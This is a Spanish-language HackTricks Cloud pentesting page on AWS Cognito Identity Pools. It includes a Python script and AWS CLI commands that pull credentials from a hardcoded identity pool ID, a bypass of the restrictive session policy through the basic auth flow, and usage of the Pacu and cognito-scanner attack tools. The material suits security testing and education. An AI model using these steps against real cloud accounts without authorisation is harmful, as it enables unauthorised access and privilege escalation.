Cognito Identity Pools
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información Básica
Los grupos de identidades desempeñan un papel crucial al permitir que sus usuarios adquieran credenciales temporales. Estas credenciales son esenciales para acceder a varios servicios de AWS, incluyendo, pero no limitado a, Amazon S3 y DynamoDB. Una característica notable de los grupos de identidades es su soporte tanto para usuarios anónimos como para una variedad de proveedores de identidad para la autenticación de usuarios. Los proveedores de identidad compatibles incluyen:
- Grupos de usuarios de Amazon Cognito
- Opciones de inicio de sesión social como Facebook, Google, Login with Amazon y Sign in with Apple
- Proveedores compatibles con OpenID Connect (OIDC)
- Proveedores de identidad SAML (Security Assertion Markup Language)
- Identidades autenticadas por desarrolladores
# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3
# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')
# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'
# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)
# Print the response from AWS
print(response)
Cognito Sync
Para generar sesiones de Identity Pool, primero necesitas generar un Identity ID. Este Identity ID es la identificación de la sesión de ese usuario. Estas identificaciones pueden tener hasta 20 conjuntos de datos que pueden almacenar hasta 1MB de pares clave-valor.
Esto es útil para mantener información de un usuario (que siempre estará usando el mismo Identity ID).
Además, el servicio cognito-sync es el servicio que permite gestionar y sincronizar esta información (en los conjuntos de datos, enviando información en flujos y mensajes de SNS…).
Tools for pentesting
- Pacu, el marco de explotación de AWS, ahora incluye los módulos “cognito__enum” y “cognito__attack” que automatizan la enumeración de todos los activos de Cognito en una cuenta y marcan configuraciones débiles, atributos de usuario utilizados para el control de acceso, etc., y también automatizan la creación de usuarios (incluido el soporte de MFA) y la escalada de privilegios basada en atributos personalizados modificables, credenciales de pool de identidad utilizables, roles asumibles en tokens de id, etc.
Para una descripción de las funciones de los módulos, consulta la parte 2 del blog post. Para instrucciones de instalación, consulta la página principal de Pacu.
Usage
Ejemplo de uso de cognito__attack para intentar la creación de usuarios y todos los vectores de privesc contra un pool de identidad y cliente de pool de usuarios dados:
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
Ejemplo de uso de cognito__enum para recopilar todos los grupos de usuarios, clientes de grupos de usuarios, grupos de identidad, usuarios, etc. visibles en la cuenta de AWS actual:
Pacu (new:test) > run cognito__enum
- Cognito Scanner es una herramienta CLI en python que implementa diferentes ataques en Cognito, incluyendo la creación no deseada de cuentas y la escalación de grupos de identidades.
Instalación
$ pip install cognito-scanner
Uso
$ cognito-scanner --help
Para más información, consulta https://github.com/padok-team/cognito-scanner
Acceso a Roles de IAM
No autenticado
Lo único que un atacante necesita saber para obtener credenciales de AWS en una aplicación de Cognito como usuario no autenticado es el ID del Pool de Identidad, y este ID debe estar codificado en la aplicación web/móvil para que se use. Un ID se ve así: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (no se puede forzar por fuerza bruta).
Tip
El rol de Cognito no autenticado creado a través de se llama por defecto
Cognito_<Nombre del Pool de Identidad>Unauth_Role
Si encuentras un ID de Pool de Identidad codificado y permite usuarios no autenticados, puedes obtener credenciales de AWS con:
import requests
region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}
r = requests.post(url, json=params, headers=headers)
json_resp = r.json()
if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit
IdentityId = r.json()["IdentityId"]
params = {'IdentityId': IdentityId}
headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)
print(r.json())
O también podrías usar los siguientes aws cli commands:
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign
Warning
Tenga en cuenta que por defecto un usuario cognito no autenticado NO PUEDE tener ningún permiso, incluso si se le asignó a través de una política. Consulte la siguiente sección.
Flujo de Autenticación Mejorado vs Básico
La sección anterior siguió el flujo de autenticación mejorado por defecto. Este flujo establece una política de sesión restrictiva para la sesión del rol IAM generada. Esta política solo permitirá que la sesión utilice los servicios de esta lista (incluso si el rol tenía acceso a otros servicios).
Sin embargo, hay una manera de eludir esto, si el grupo de identidades tiene habilitado el “Flujo Básico (Clásico)”, el usuario podrá obtener una sesión utilizando ese flujo que no tendrá esa política de sesión restrictiva.
# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign
# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign
Warning
Si recibes este error, es porque el flujo básico no está habilitado (por defecto)
An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.
Teniendo un conjunto de credenciales de IAM, deberías verificar qué acceso tienes y tratar de escalar privilegios.
Autenticado
Note
Recuerda que a los usuarios autenticados probablemente se les otorguen permisos diferentes, así que si puedes registrarte dentro de la aplicación, intenta hacerlo y obtener las nuevas credenciales.
También podría haber roles disponibles para usuarios autenticados accediendo al Identity Pool.
Para esto, podrías necesitar tener acceso al proveedor de identidad. Si ese es un Cognito User Pool, tal vez puedas abusar del comportamiento por defecto y crear un nuevo usuario tú mismo.
Tip
El rol autenticado de IAM Cognito creado a través de se llama por defecto
Cognito_<Identity Pool name>Auth_Role
De todos modos, el siguiente ejemplo espera que ya hayas iniciado sesión dentro de un Cognito User Pool utilizado para acceder al Identity Pool (no olvides que otros tipos de proveedores de identidad también podrían estar configurados).
# Formato actualizado
aws cognito-identity get-id \
--identity-pool-id \
--logins '{"cognito-idp..amazonaws.com/": ""}'
aws cognito-identity get-credentials-for-identity \
--identity-id \
--logins '{"cognito-idp..amazonaws.com/": ""}'
aws cognito-identity get-credentials-for-identity \
--identity-id \
--custom-role-arn \
--logins '{"cognito-idp..amazonaws.com/": ""}'
Formato obsoleto — estos pueden no funcionar con la CLI de AWS actual:
aws cognito-identity get-id \
--identity-pool-id \
--logins cognito-idp..amazonaws.com/=
aws cognito-identity get-credentials-for-identity \
--identity-id \
--logins cognito-idp..amazonaws.com/=
aws cognito-identity get-credentials-for-identity \
--identity-id \
--custom-role-arn \
--logins cognito-idp..amazonaws.com/=
Warning
Es posible configurar diferentes roles de IAM dependiendo del proveedor de identidad con el que el usuario esté iniciando sesión o incluso solo dependiendo del usuario (usando claims). Por lo tanto, si tienes acceso a diferentes usuarios a través del mismo o diferentes proveedores, podría valer la pena iniciar sesión y acceder a los roles de IAM de todos ellos.
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud